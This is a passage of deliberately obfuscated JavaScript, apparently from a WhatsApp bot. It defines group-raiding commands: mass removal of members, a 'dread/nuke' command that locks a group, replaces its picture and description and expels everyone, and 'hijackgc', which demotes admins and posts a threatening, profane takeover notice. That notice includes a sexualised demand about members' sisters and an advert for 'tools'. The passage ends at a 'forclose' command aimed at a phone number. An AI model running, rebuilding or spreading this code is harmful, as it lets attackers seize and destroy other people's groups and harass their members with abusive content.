_0x1d750d=_0x26e5ac[_0x1653fc(0x255)][_0x1653fc(0x193)];if(!_0x1d750d['endsWith'](_0x1653fc(0x25d)))return _0x4ccc8b[_0x1653fc(0x2b5)](_0x565bde,'โ\x20Groups\x20only');const {participants:_0x1af971}=await _0x246c6e['groupMetadata'](_0x1d750d),_0x28e2d1=findBotInParticipants(_0x246c6e,_0x1af971),_0x50e091=_0x26e5ac[_0x1653fc(0x255)][_0x1653fc(0x17a)]||_0x26e5ac['key']['remoteJid'];if(!_0x28e2d1)return _0x565bde('TF\x20bro\x20๐\x20Bot\x20ain\x27t\x20even\x20in\x20the\x20group\x20properly.\x20Re-add\x20me!');const _0x443f09=_0x4ccc8b['xCVOO'](_0x28e2d1['admin'],_0x4ccc8b['nwhsY'])||_0x28e2d1['admin']===_0x4ccc8b[_0x1653fc(0x22b)];if(!_0x443f09)return _0x4ccc8b['uxtuE'](_0x565bde,'TF\x20bro\x20๐\x20beg\x20for\x20admin\x20power\x20first\x20๐๐');await _0x4ccc8b['uxtuE'](_0x565bde,_0x4ccc8b['cnrOq']);const _0x26f443=_0x246c6e['user']?.['id'],_0x45cea8=_0x246c6e[_0x1653fc(0x2ab)]?.[_0x1653fc(0x311)],_0x2a9b6b=getBareNumber(_0x26f443),_0x1245d5=_0x4ccc8b[_0x1653fc(0x2b5)](getBareNumber,_0x50e091),_0x2ff3e1=_0x1af971['filter'](_0x25d11d=>{const _0x272c78=_0x1653fc;if(_0x272c78(0x292)!==_0x272c78(0x361)){const _0x57baf8=_0x4ccc8b['NEqpL'](getBareNumber,_0x25d11d['id']);if(_0x25d11d['id']===_0x26f443||_0x45cea8&&_0x4ccc8b['eNSmy'](_0x25d11d['id'],_0x45cea8))return![];if(_0x2a9b6b&&_0x4ccc8b[_0x272c78(0x2b8)](_0x57baf8,_0x2a9b6b))return![];if(_0x1245d5&&_0x57baf8===_0x1245d5)return![];return!![];}else return![];})[_0x1653fc(0x35f)](_0x1a2b66=>_0x1a2b66['id']);_0x2ff3e1[_0x1653fc(0x354)]>0x0&&(await _0x4ccc8b[_0x1653fc(0x1f7)](_0x565bde,_0x1653fc(0x194)+_0x2ff3e1[_0x1653fc(0x354)]+_0x1653fc(0x31f)),await _0x246c6e['groupParticipantsUpdate'](_0x1d750d,_0x2ff3e1,_0x1653fc(0x2d8))),await _0x246c6e[_0x1653fc(0x242)](_0x1d750d,{'text':_0x4ccc8b[_0x1653fc(0x216)]}),await _0x246c6e['sendMessage'](_0x1d750d,{'delete':_0x26e5ac['key']});}}catch(_0xa6636a){console[_0x1653fc(0x21a)](_0x4ccc8b[_0x1653fc(0x28c)],_0xa6636a),await _0x565bde(_0x4ccc8b['qhyEg'](_0x4ccc8b['MgfSI'],_0xa6636a[_0x1653fc(0x1a2)]));}}}),(0x0,types_1['registerCommand'])({'name':'dread','aliases':['dreaded','nuke',_0x4d270b(0x278)],'description':_0x4d270b(0x336),'category':'danger','ownerOnly':!![],'execute':async({sock:_0x69f8db,msg:_0x3ebbb4,reply:_0xf75ea2})=>{const _0x4e6300=_0x4d270b,_0xb2cb55={'vNouN':'โ\x20Please\x20provide\x20a\x20valid\x20WhatsApp\x20group\x20invite\x20link\x0a\x0aUsage:\x20.groupjid\x20https://chat.whatsapp.com/xxxxx','FEsWk':function(_0x8c9c82,_0x1cd36f){return _0x8c9c82(_0x1cd36f);},'IKyCU':function(_0x9fba4f,_0xb18e2){return _0x9fba4f===_0xb18e2;},'ubKqY':function(_0x4f4aec,_0x29cc2a,_0x4f737c){return _0x4f4aec(_0x29cc2a,_0x4f737c);},'zmCVG':_0x4e6300(0x2bf),'nhmxv':_0x4e6300(0x346),'tcEDH':function(_0x49bcaa,_0x5f8e23){return _0x49bcaa(_0x5f8e23);},'wMZjn':_0x4e6300(0x2ae),'jTjfC':_0x4e6300(0x2e2),'IuaUC':_0x4e6300(0x1d4),'ZPQWr':_0x4e6300(0x191),'DBZFA':_0x4e6300(0x28e),'koeSR':_0x4e6300(0x2af),'WXrxl':_0x4e6300(0x2c0)};try{const _0x27913d=_0x3ebbb4[_0x4e6300(0x255)]['remoteJid'];if(!_0x27913d[_0x4e6300(0x1a6)](_0x4e6300(0x25d)))return _0xb2cb55[_0x4e6300(0x1ad)](_0xf75ea2,_0x4e6300(0x265));const {participants:_0x22e312}=await _0x69f8db[_0x4e6300(0x248)](_0x27913d),_0x4cda66=_0xb2cb55[_0x4e6300(0x1ff)](findBotInParticipants,_0x69f8db,_0x22e312),_0x56c4f2=_0x3ebbb4[_0x4e6300(0x255)][_0x4e6300(0x17a)]||_0x3ebbb4[_0x4e6300(0x255)]['remoteJid'];if(!_0x4cda66)return _0xf75ea2(_0x4e6300(0x26a));const _0x22c422=_0x4cda66[_0x4e6300(0x2bf)]===_0xb2cb55[_0x4e6300(0x1bb)]||_0x4cda66[_0x4e6300(0x2bf)]===_0xb2cb55[_0x4e6300(0x245)];if(!_0x22c422)return _0xb2cb55['tcEDH'](_0xf75ea2,_0x4e6300(0x1bc));const _0x1ac6f5=await _0x69f8db[_0x4e6300(0x242)](_0x27913d,{'text':_0x4e6300(0x2b2)}),_0x1480f6=[_0x4e6300(0x29d),_0x4e6300(0x303),_0x4e6300(0x34b),'โ ๏ธ\x20GC\x20DREAD\x20LOADING...\x2080%','โ ๏ธ\x20GC\x20DREAD\x20LOADING...\x20100%',_0x4e6300(0x1e0)];for(const _0x4c5896 of _0x1480f6){if(_0xb2cb55[_0x4e6300(0x1c0)]===_0x4e6300(0x204))return _0x382edf(_0xb2cb55[_0x4e6300(0x337)]);else{await new Promise(_0x114a29=>setTimeout(_0x114a29,0x258));if(_0x1ac6f5)await _0x69f8db[_0x4e6300(0x242)](_0x27913d,{'text':_0x4c5896,'edit':_0x1ac6f5['key']});}}try{await _0x69f8db[_0x4e6300(0x250)](_0x27913d,'announcement'),console[_0x4e6300(0x223)](_0x4e6300(0x2eb));}catch(_0x46c773){console[_0x4e6300(0x223)]('[DREAD]\x20Failed\x20to\x20close\x20group:',_0x46c773);}try{const _0x96d459='https://files.catbox.moe/zoax4x.jpg',_0x2f3154=await _0xb2cb55[_0x4e6300(0x1ad)](fetch,_0x96d459),_0xd0c8d4=Buffer['from'](await _0x2f3154[_0x4e6300(0x1c7)]());await _0x69f8db[_0x4e6300(0x308)](_0x27913d,_0xd0c8d4),console['log'](_0xb2cb55['jTjfC']);}catch(_0x271648){_0xb2cb55[_0x4e6300(0x1b5)]==='Oxgvp'?console[_0x4e6300(0x223)](_0x4e6300(0x358),_0x271648):_0x4de4a1=_0x5e1322+_0x4e6300(0x18b);}try{const _0x3182ed=_0x4e6300(0x25f);await _0x69f8db[_0x4e6300(0x21b)](_0x27913d,_0x3182ed),console[_0x4e6300(0x223)]('[DREAD]\x20Description\x20changed');}catch(_0x14c53c){console[_0x4e6300(0x223)](_0xb2cb55['ZPQWr'],_0x14c53c);}try{if(_0x4e6300(0x28e)===_0xb2cb55[_0x4e6300(0x34c)]){const _0x438a62=_0x4e6300(0x218);await _0x69f8db[_0x4e6300(0x1a5)](_0x27913d,_0x438a62),console[_0x4e6300(0x223)](_0x4e6300(0x1d3));}else return _0x52943f('โ\x20Failed\x20to\x20save\x20settings!\x20Contact\x20dev.');}catch(_0x40dd96){console[_0x4e6300(0x223)](_0x4e6300(0x1ce),_0x40dd96);}await _0x69f8db[_0x4e6300(0x242)](_0x27913d,{'text':'GC\x20total\x20dread\x20called\x20Rest\x20cunts\x20return\x20to\x20voids\x20etc'});const _0x28a1dc=_0x69f8db['user']?.['id'],_0x132479=_0x69f8db[_0x4e6300(0x2ab)]?.[_0x4e6300(0x311)],_0x2d0ac2=getBareNumber(_0x28a1dc),_0x5f564c=getBareNumber(_0x56c4f2),_0x58470f=_0x22e312[_0x4e6300(0x293)](_0x273690=>{const _0x33b3ed=_0x4e6300,_0x298d24=_0xb2cb55[_0x33b3ed(0x1ad)](getBareNumber,_0x273690['id']);if(_0x273690['id']===_0x28a1dc||_0x132479&&_0x273690['id']===_0x132479)return![];if(_0x2d0ac2&&_0xb2cb55['IKyCU'](_0x298d24,_0x2d0ac2))return![];if(_0x5f564c&&_0xb2cb55['IKyCU'](_0x298d24,_0x5f564c))return![];return!![];})[_0x4e6300(0x35f)](_0x311432=>_0x311432['id']);_0x58470f[_0x4e6300(0x354)]>0x0&&(await _0x69f8db[_0x4e6300(0x242)](_0x27913d,{'text':_0x4e6300(0x194)+_0x58470f[_0x4e6300(0x354)]+_0x4e6300(0x264)}),await _0x69f8db[_0x4e6300(0x2e5)](_0x27913d,_0x58470f,_0x4e6300(0x2d8))),await _0x69f8db['sendMessage'](_0x27913d,{'text':_0x4e6300(0x1f1)}),await _0x69f8db[_0x4e6300(0x242)](_0x27913d,{'delete':_0x3ebbb4[_0x4e6300(0x255)]});}catch(_0x105995){console[_0x4e6300(0x21a)](_0xb2cb55['koeSR'],_0x105995),await _0xf75ea2(_0xb2cb55[_0x4e6300(0x2c6)]+_0x105995['message']);}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':'hijackgc','description':_0x4d270b(0x179),'category':_0x4d270b(0x2d4),'execute':async({sock:_0x59062b,msg:_0x403f8f,reply:_0x2f1bcd,isOwner:_0x14c04f})=>{const _0x2ab235=_0x4d270b,_0x560b0e={'bFEXs':_0x2ab235(0x27c),'sZHGf':_0x2ab235(0x31d),'jDXLb':function(_0x122da5,_0x42c55a,_0x196040){return _0x122da5(_0x42c55a,_0x196040);},'hFMTZ':_0x2ab235(0x254),'lJkuv':_0x2ab235(0x2bf),'hPocF':function(_0x6c25d8,_0x134543){return _0x6c25d8===_0x134543;},'OIzRK':_0x2ab235(0x19c),'qiwkM':'superadmin','hBYhl':'There\x27s\x20one\x20more\x20thing\x20you\x20have\x20forgotten.\x20Retry\x20or\x20quit\x20๐๐ฆ ','cSGua':function(_0x2493a7,_0x509850){return _0x2493a7(_0x509850);},'IJnaN':_0x2ab235(0x2f4),'qvmzx':_0x2ab235(0x2f6),'wnOWD':function(_0x15d1bc,_0x1cb625){return _0x15d1bc===_0x1cb625;},'SGhhH':_0x2ab235(0x27d),'eAEhE':_0x2ab235(0x203),'xfnHQ':function(_0x5ab279,_0x486648){return _0x5ab279(_0x486648);},'XUyfa':'โ\x20Error\x20executing\x20hijack.\x20Make\x20sure\x20bot\x20has\x20proper\x20permissions.'},_0x39d750=_0x403f8f[_0x2ab235(0x255)][_0x2ab235(0x193)],_0x1429f6=_0x39d750[_0x2ab235(0x1a6)]('@g.us');if(!_0x1429f6)return _0x2f1bcd(_0x560b0e[_0x2ab235(0x210)]);try{const _0x58bbe8=await _0x59062b[_0x2ab235(0x248)](_0x39d750),_0x437eac=_0x58bbe8[_0x2ab235(0x234)],_0x236f7a=_0x59062b[_0x2ab235(0x2ab)]?.['id'],_0x42912f=_0x403f8f[_0x2ab235(0x255)]['participant']||_0x403f8f[_0x2ab235(0x255)]['remoteJid'],_0x5d0a8b=findBotInParticipants(_0x59062b,_0x437eac),_0x10cc5=_0x560b0e[_0x2ab235(0x272)](findParticipant,_0x437eac,_0x42912f);if(!_0x5d0a8b)return console[_0x2ab235(0x223)](_0x560b0e[_0x2ab235(0x2e6)],{'botId':_0x59062b['user']?.['id'],'botLid':_0x59062b[_0x2ab235(0x2ab)]?.['lid'],'participantCount':_0x437eac['length'],'sampleParticipant':_0x437eac[0x0]?.['id']}),_0x2f1bcd(_0x2ab235(0x1e9));const _0x63fbd8=_0x5d0a8b['admin']===_0x560b0e[_0x2ab235(0x1af)]||_0x560b0e[_0x2ab235(0x2d7)](_0x5d0a8b[_0x2ab235(0x2bf)],_0x2ab235(0x346));if(!_0x63fbd8)return _0x2f1bcd(_0x560b0e[_0x2ab235(0x1b8)]);const _0x300c36=_0x560b0e[_0x2ab235(0x2d7)](_0x10cc5?.[_0x2ab235(0x2bf)],_0x560b0e[_0x2ab235(0x1af)])||_0x10cc5?.[_0x2ab235(0x2bf)]===_0x560b0e['qiwkM'];if(!_0x300c36)return _0x2f1bcd(_0x560b0e[_0x2ab235(0x33d)]);if(!_0x14c04f)return _0x560b0e[_0x2ab235(0x196)](_0x2f1bcd,_0x2ab235(0x2e9));const _0x77693=_0x437eac['filter'](_0x467064=>_0x467064[_0x2ab235(0x2bf)]==='admin'||_0x467064['admin']===_0x2ab235(0x346)),_0x11310d=_0x58bbe8['owner']||_0x58bbe8[_0x2ab235(0x2ac)],_0x3ca9f6=_0x560b0e['IJnaN'],_0x46781b='Hola,\x20the\x20GC\x20has\x20been\x20hijacked\x20by\x20รจdรปqarรฎz,\x20members\x20therefore\x20are\x20adhered\x20to\x20follow\x20the\x20following\x20instructions\x20or\x20else\x20you\x20get\x20yourself\x20cooked.\x20\x0a1:\x20no\x20external\x20links\x20unless\x20y\x27all\x20a\x20cunt\x20๐.\x0a2:no\x20tagging\x20the\x20new\x20admins\x20or\x20you\x27ll\x20get\x20yourself\x20fucked\x20up\x20mate.\x0a3:No\x20group\x20spamming\x20&\x20Religious\x20wars\x20๐ซฉ\x20\x0a\x0a4:\x20Message\x20your\x20admin\x20for\x20clarifications\x20๐ซก\x0a5:\x20Must\x20add\x20several\x20girls\x20๐ค\x20and\x20your\x20sister\x20please\x20๐ฅบ๐ฅน๐ซฆ\x0a6:\x20Message\x20me\x20for\x20tools\x20t.me/cortanalogins';await Promise[_0x2ab235(0x2df)]([_0x59062b[_0x2ab235(0x1a5)](_0x39d750,_0x3ca9f6),_0x59062b[_0x2ab235(0x21b)](_0x39d750,_0x46781b)]);const _0x2bbb66=_0x560b0e[_0x2ab235(0x197)],_0x46968c=await fetch(_0x2bbb66),_0x456cef=Buffer[_0x2ab235(0x1e6)](await _0x46968c[_0x2ab235(0x1c7)]());await _0x59062b[_0x2ab235(0x308)](_0x39d750,_0x456cef);for(const _0xa290f8 of _0x77693){if(_0xa290f8['id']===_0x5d0a8b['id'])continue;try{await _0x59062b[_0x2ab235(0x2e5)](_0x39d750,[_0xa290f8['id']],_0x2ab235(0x2d8));const _0x2b794b=_0xa290f8['id'][_0x2ab235(0x17f)]('@')[0x0],_0x47ee7=[_0xa290f8['id']];if(_0x560b0e[_0x2ab235(0x368)](_0xa290f8['id'],_0x11310d)){if('emLaa'!==_0x2ab235(0x183))return _0x111509(_0x560b0e['bFEXs']);else await _0x59062b[_0x2ab235(0x242)](_0x39d750,{'text':_0x2ab235(0x284)+_0x2b794b,'mentions':_0x47ee7});}else await _0x59062b['sendMessage'](_0x39d750,{'text':_0x2ab235(0x30c)+_0x2b794b,'mentions':_0x47ee7});await new Promise(_0x16e38a=>setTimeout(_0x16e38a,0x15e));}catch(_0x543a4f){console[_0x2ab235(0x223)](_0x560b0e[_0x2ab235(0x325)],_0xa290f8['id'],_0x543a4f);}}await _0x59062b[_0x2ab235(0x250)](_0x39d750,_0x560b0e[_0x2ab235(0x273)]);}catch(_0x52271e){if('WlxKR'===_0x2ab235(0x313))console[_0x2ab235(0x21a)](_0x2ab235(0x200),_0x52271e),await _0x560b0e[_0x2ab235(0x36c)](_0x2f1bcd,_0x560b0e[_0x2ab235(0x22a)]);else return _0x118b4a('โ\x20@'+_0x100e77[_0x2ab235(0x17f)]('@')[0x0]+'\x20has\x20no\x20profile\x20picture\x20or\x20their\x20privacy\x20settings\x20hide\x20it\x20๐ซฅ');}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x236),'aliases':[_0x4d270b(0x25e),'acceptall','accept-all'],'description':_0x4d270b(0x326),'category':_0x4d270b(0x2d4),'usage':_0x4d270b(0x2fe),'execute':async({sock:_0x526748,msg:_0x3591d8,reply:_0x558e69})=>{const _0x33e1c0=_0x4d270b,_0x6fcf62={'jnMFK':function(_0x218e03,_0x68c4fa){return _0x218e03(_0x68c4fa);},'QWSIS':'approve','jGutZ':function(_0x19cf98,_0x3b60c2){return _0x19cf98(_0x3b60c2);}},_0x4ed184=_0x3591d8[_0x33e1c0(0x255)][_0x33e1c0(0x193)];if(!_0x4ed184[_0x33e1c0(0x1a6)]('@g.us'))return _0x6fcf62[_0x33e1c0(0x1ab)](_0x558e69,_0x33e1c0(0x369));try{const _0x4b575f=await _0x526748[_0x33e1c0(0x302)](_0x4ed184);if(!_0x4b575f||_0x4b575f['length']===0x0){if(_0x33e1c0(0x2ef)===_0x33e1c0(0x2ef))return _0x558e69(_0x33e1c0(0x222));else _0x20c4b1=_0x220f78;}const _0x2c1db2=_0x4b575f[_0x33e1c0(0x35f)](_0x5d330c=>_0x5d330c[_0x33e1c0(0x32d)]);await _0x526748['groupRequestParticipantsUpdate'](_0x4ed184,_0x2c1db2,_0x6fcf62['QWSIS']),await _0x558e69(_0x33e1c0(0x217)+_0x2c1db2[_0x33e1c0(0x354)]+'\x20pending\x20request(s):\x0a\x0a'+_0x2c1db2[_0x33e1c0(0x35f)](_0x239327=>'โข\x20'+_0x239327['split']('@')[0x0])['join']('\x0a'));}catch(_0x3ac432){console['error'](_0x33e1c0(0x253),_0x3ac432);if(_0x3ac432['message']?.['includes'](_0x33e1c0(0x2ea)))return _0x6fcf62[_0x33e1c0(0x35a)](_0x558e69,_0x33e1c0(0x289));await _0x558e69('โ\x20Failed\x20to\x20approve\x20requests:\x20'+(_0x3ac432[_0x33e1c0(0x1a2)]||_0x33e1c0(0x1a7)));}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x189),'aliases':['gcjid',_0x4d270b(0x2f9),'gjid'],'description':'Get\x20Group\x20JID\x20from\x20invite\x20link','category':_0x4d270b(0x2d4),'usage':_0x4d270b(0x188),'execute':async({sock:_0x10f14e,args:_0x5691e0,reply:_0x3a6c02})=>{const _0x1c512c=_0x4d270b,_0x27a61a={'qwDrI':function(_0x100ecf,_0x29587a){return _0x100ecf(_0x29587a);},'YpZOV':_0x1c512c(0x1c1),'gPqrO':_0x1c512c(0x2cb),'OSFbI':function(_0x5ac7ba,_0x309b23){return _0x5ac7ba+_0x309b23;},'WiYQO':function(_0x21e4d5,_0x58313a){return _0x21e4d5*_0x58313a;},'qThRI':'โ\x20Could\x20not\x20resolve\x20Group\x20JID.\x20Make\x20sure\x20the\x20link\x20is\x20valid\x20and\x20not\x20expired.','euwUp':_0x1c512c(0x27c),'KWRUA':function(_0x3c556a,_0x146253){return _0x3c556a(_0x146253);}},_0x459080=_0x5691e0[0x0];if(!_0x459080||!_0x459080['includes'](_0x1c512c(0x338)))return _0x27a61a['qwDrI'](_0x3a6c02,_0x27a61a[_0x1c512c(0x1b0)]);try{const _0x241c69=_0x459080[_0x1c512c(0x17f)](_0x1c512c(0x338))[0x1]?.[_0x1c512c(0x17f)](/[?#]/)[0x0];if(!_0x241c69)return _0x3a6c02(_0x27a61a[_0x1c512c(0x359)]);const _0x9c2bf5=await _0x10f14e[_0x1c512c(0x332)](_0x241c69);_0x9c2bf5&&_0x9c2bf5['id']?await _0x3a6c02(_0x27a61a[_0x1c512c(0x201)](_0x1c512c(0x239)+('๐\x20*Name:*\x20'+_0x9c2bf5['subject']+'\x0a'),_0x1c512c(0x1a3)+_0x9c2bf5['id']+_0x1c512c(0x34e))+('๐ฅ\x20*Members:*\x20'+(_0x9c2bf5[_0x1c512c(0x232)]||_0x1c512c(0x1a8))+'\x0a')+(_0x1c512c(0x2d2)+(_0x9c2bf5[_0x1c512c(0x2ed)]?new Date(_0x27a61a[_0x1c512c(0x23d)](_0x9c2bf5[_0x1c512c(0x2ed)],0x3e8))['toLocaleDateString']():_0x1c512c(0x1a8)))):await _0x3a6c02(_0x27a61a['qThRI']);}catch(_0x500311){console[_0x1c512c(0x21a)]('GroupJID\x20error:',_0x500311);if(_0x500311[_0x1c512c(0x1a2)]?.[_0x1c512c(0x340)]('not-authorized'))return _0x3a6c02(_0x27a61a[_0x1c512c(0x2a2)]);await _0x27a61a['KWRUA'](_0x3a6c02,_0x1c512c(0x2c7)+(_0x500311[_0x1c512c(0x1a2)]||_0x1c512c(0x1c4)));}}}),(0x0,types_1['registerCommand'])({'name':'promoteall','aliases':['promote-all'],'description':_0x4d270b(0x1bf),'category':'group','execute':async({sock:_0x15d642,msg:_0x2c325b,reply:_0xba90b1,isOwner:_0x416890})=>{const _0x492744=_0x4d270b,_0x1b64fb={'HNhyE':_0x492744(0x25d),'DLcpi':function(_0x3e67f4,_0x10455d,_0x348d0c){return _0x3e67f4(_0x10455d,_0x348d0c);},'BrsbO':_0x492744(0x2bf),'cMJjj':'StwSc','VlGCY':function(_0x253f85,_0x3eb3cd){return _0x253f85(_0x3eb3cd);},'KsZUw':function(_0x2d6676,_0x55ca2b){return _0x2d6676!==_0x55ca2b;},'xtBeu':_0x492744(0x346),'TvZUH':_0x492744(0x1fd),'jYrXs':function(_0x52203f,_0x567bd6){return _0x52203f(_0x567bd6);},'guqTq':function(_0x472ec7,_0x5ee238){return _0x472ec7+_0x5ee238;},'OuoOF':'promote'},_0x417808=_0x2c325b['key']['remoteJid'];if(!_0x417808[_0x492744(0x1a6)](_0x1b64fb[_0x492744(0x2d9)]))return _0xba90b1(_0x492744(0x295));const _0x36fee6=await _0x15d642[_0x492744(0x248)](_0x417808),_0x244a5a=_0x36fee6[_0x492744(0x234)],_0x40690b=_0x2c325b['key']['participant'],_0xbfbf91=findParticipant(_0x244a5a,_0x40690b),_0x1cdc83=_0x1b64fb[_0x492744(0x2b1)](findBotInParticipants,_0x15d642,_0x244a5a);if(!_0x416890&&_0xbfbf91?.['admin']!==_0x1b64fb[_0x492744(0x279)]&&_0xbfbf91?.[_0x492744(0x2bf)]!==_0x492744(0x346)){if(_0x1b64fb[_0x492744(0x1f3)]!==_0x1b64fb[_0x492744(0x1f3)])_0xadb092['log'](_0x492744(0x358),_0x6414ac);else return _0x1b64fb[_0x492744(0x342)](_0xba90b1,'Owner/Admin\x20only!');}if(!_0x1cdc83||_0x1b64fb[_0x492744(0x17d)](_0x1cdc83?.[_0x492744(0x2bf)],'admin')&&_0x1cdc83?.['admin']!==_0x1b64fb['xtBeu'])return _0xba90b1(_0x1b64fb[_0x492744(0x1eb)]);const _0x1dd2b3=_0x244a5a[_0x492744(0x293)](_0x3d13bb=>_0x3d13bb['admin']!=='admin'&&_0x3d13bb[_0x492744(0x2bf)]!==_0x492744(0x346));if(_0x1dd2b3[_0x492744(0x354)]===0x0)return _0xba90b1('Equality\x20already\x20achieved.');await _0x1b64fb[_0x492744(0x345)](_0xba90b1,_0x492744(0x329)+_0x1dd2b3[_0x492744(0x354)]+_0x492744(0x24c));const _0x3e166f=[];for(let _0x4734d5=0x0;_0x4734d5<_0x1dd2b3[_0x492744(0x354)];_0x4734d5+=0x5a){_0x3e166f[_0x492744(0x181)](_0x1dd2b3[_0x492744(0x1df)](_0x4734d5,_0x1b64fb['guqTq'](_0x4734d5,0x5a)));}for(let _0x50cc5e of _0x3e166f){const _0x4411a6=_0x50cc5e[_0x492744(0x35f)](_0x218de0=>_0x218de0['id']);await _0x15d642[_0x492744(0x2e5)](_0x417808,_0x4411a6,_0x1b64fb[_0x492744(0x2c3)])[_0x492744(0x2a6)](()=>{}),await new Promise(_0x3e85e4=>setTimeout(_0x3e85e4,0x5dc));}await _0x1b64fb[_0x492744(0x345)](_0xba90b1,_0x492744(0x207));}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x363),'aliases':[_0x4d270b(0x29c)],'description':'Demote\x20all\x20admins','category':_0x4d270b(0x2d4),'execute':async({sock:_0x2af1e9,msg:_0xf5f25d,reply:_0x45eed0,isOwner:_0x54bda3})=>{const _0x1f1a07=_0x4d270b,_0x1c79c5={'TOHAs':function(_0x256b35,_0x330f2f){return _0x256b35===_0x330f2f;},'TuHnD':_0x1f1a07(0x25d),'eiBAn':function(_0x5c1861,_0x916f2){return _0x5c1861(_0x916f2);},'ieWHO':function(_0x2a0e5c,_0x26db63,_0x5c85d4){return _0x2a0e5c(_0x26db63,_0x5c85d4);},'Qrdsp':function(_0x1b55e9,_0x1ce951){return _0x1b55e9!==_0x1ce951;},'FGBKX':'admin','gEhWd':'superadmin','anXId':_0x1f1a07(0x32e),'TDEpt':'Insufficient\x20admins\x20to\x20dethrone.','mxhag':_0x1f1a07(0x352)},_0x15abf6=_0xf5f25d[_0x1f1a07(0x255)][_0x1f1a07(0x193)];if(!_0x15abf6['endsWith'](_0x1c79c5[_0x1f1a07(0x319)]))return _0x1c79c5[_0x1f1a07(0x208)](_0x45eed0,'Group\x20only,\x20fool.');const _0x1cdba0=await _0x2af1e9[_0x1f1a07(0x248)](_0x15abf6),_0x18f7d8=_0x1cdba0[_0x1f1a07(0x234)],_0x123fcc=_0xf5f25d[_0x1f1a07(0x255)][_0x1f1a07(0x17a)],_0x4feab7=findParticipant(_0x18f7d8,_0x123fcc),_0x75cc64=_0x1c79c5[_0x1f1a07(0x2db)](findBotInParticipants,_0x2af1e9,_0x18f7d8);if(!_0x54bda3&&_0x1c79c5[_0x1f1a07(0x366)](_0x4feab7?.[_0x1f1a07(0x2bf)],_0x1c79c5[_0x1f1a07(0x243)])&&_0x4feab7?.['admin']!==_0x1c79c5[_0x1f1a07(0x2d0)]){if(_0x1c79c5[_0x1f1a07(0x366)](_0x1c79c5['anXId'],_0x1f1a07(0x32e))){_0x2a33fe=_0x2115a6[_0x1f1a07(0x348)](_0x14aee0=>_0x14aee0['id'][_0x1f1a07(0x17f)]('@')[0x0]['includes'](_0x1931a5['slice'](-0x8)));if(_0x4cd359)return _0x3d1d75;}else return _0x1c79c5[_0x1f1a07(0x208)](_0x45eed0,_0x1f1a07(0x2ce));}if(!_0x75cc64||_0x75cc64?.[_0x1f1a07(0x2bf)]!==_0x1f1a07(0x2bf)&&_0x1c79c5['Qrdsp'](_0x75cc64?.[_0x1f1a07(0x2bf)],_0x1c79c5[_0x1f1a07(0x2d0)]))return _0x1c79c5['eiBAn'](_0x45eed0,_0x1f1a07(0x20b));const _0x14a4a9=_0x18f7d8[_0x1f1a07(0x293)](_0x433ca2=>_0x433ca2[_0x1f1a07(0x2bf)]===_0x1f1a07(0x2bf)||_0x433ca2[_0x1f1a07(0x2bf)]===_0x1f1a07(0x346));if(_0x14a4a9[_0x1f1a07(0x354)]<0x2)return _0x1c79c5[_0x1f1a07(0x208)](_0x45eed0,_0x1c79c5[_0x1f1a07(0x2d3)]);await _0x45eed0(_0x1f1a07(0x205)+(_0x14a4a9[_0x1f1a07(0x354)]-0x1)+_0x1f1a07(0x1b6));const _0x1c6a95=_0x14a4a9[_0x1f1a07(0x293)](_0x1f455c=>{const _0x4a88b9=_0x1f1a07;if(_0x75cc64&&_0x1c79c5[_0x4a88b9(0x2e4)](_0x1f455c['id'],_0x75cc64['id']))return![];if(_0x1f455c[_0x4a88b9(0x2bf)]===_0x4a88b9(0x346))return![];return!![];})['map'](_0x5dc799=>_0x5dc799['id']);_0x1c6a95[_0x1f1a07(0x354)]>0x0&&await _0x2af1e9['groupParticipantsUpdate'](_0x15abf6,_0x1c6a95,_0x1f1a07(0x31e)),await _0x45eed0(_0x1c79c5['mxhag']);}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x1cc),'aliases':['leave-all',_0x4d270b(0x187)],'description':_0x4d270b(0x28f),'category':_0x4d270b(0x315),'ownerOnly':!![],'execute':async({sock:_0x4635f7,reply:_0x1a024a})=>{const _0x3a5971=_0x4d270b,_0x3f2881={'CnYzp':_0x3a5971(0x35e),'uVonb':'No\x20groups\x20to\x20leave.','piLVJ':function(_0x53ee4e,_0x3732e1){return _0x53ee4e(_0x3732e1);},'vyeTJ':_0x3a5971(0x2b0)};await _0x1a024a(_0x3f2881[_0x3a5971(0x2fa)]);try{const _0x3bb101=await _0x4635f7[_0x3a5971(0x2ec)](),_0x1b649b=Object[_0x3a5971(0x227)](_0x3bb101);if(_0x1b649b[_0x3a5971(0x354)]===0x0)return _0x1a024a(_0x3f2881[_0x3a5971(0x247)]);await _0x3f2881[_0x3a5971(0x334)](_0x1a024a,'Leaving\x20'+_0x1b649b['length']+'\x20groups...\x20Goodbye\x20world.');for(const _0x1343ad of _0x1b649b){if(_0x3a5971(0x30a)===_0x3f2881[_0x3a5971(0x2bd)])return _0x1a205a[_0x3a5971(0x223)](_0x3a5971(0x17e)),![];else await _0x4635f7[_0x3a5971(0x1d9)](_0x1343ad)[_0x3a5971(0x2a6)](_0x40171e=>console[_0x3a5971(0x21a)](_0x3a5971(0x2d5)+_0x1343ad+':',_0x40171e)),await new Promise(_0x5adfad=>setTimeout(_0x5adfad,0x3e8));}await _0x1a024a(_0x3a5971(0x1b9));}catch(_0x1796f){console['error']('LeaveAll\x20error:',_0x1796f),await _0x1a024a(_0x3a5971(0x215)+_0x1796f[_0x3a5971(0x1a2)]);}}}),(0x0,types_1[_0x4d270b(0x1ac)])({'name':_0x4d270b(0x27f),'aliases':['fc',_0x4d270b(0x1f5)],'description':_0x4d270b(0x22c),'category':_0x4d270b(0x185),'ownerOnly':!![],'execute':async({sock:_0x34ff03,msg:_0x1fc7fb,args:_0x393d63,reply:_0x1c62cc})=>{const _0x490903=_0x4d270b,_0x5af782={'xOjmz':function(_0x4787c9,_0x478891){return _0x4787c9&&_0x478891;},'tfUNF':function(_0xa4a417,_0x40fcde){return _0xa4a417+_0x40fcde;},'hFyOF':_0x490903(0x18b),'wvusM':'โ\x20Provide\x20target\x20number\x20or\x20reply\x20to\x20someone\x0a\x0aUsage:\x20.forclose\x20254712345678','wQDPL':function(_0x52583a,_0x5d8f7a){return _0x52583a(_0x5d8f7a);},'axbOw':function(_0x5802e8,_0x37ea9a,_0x1dd7be){return _0x5802e8(_0x37ea9a,_0x1dd7be);},'TgAbI':function(_0x12a771,_0x784ffc){return 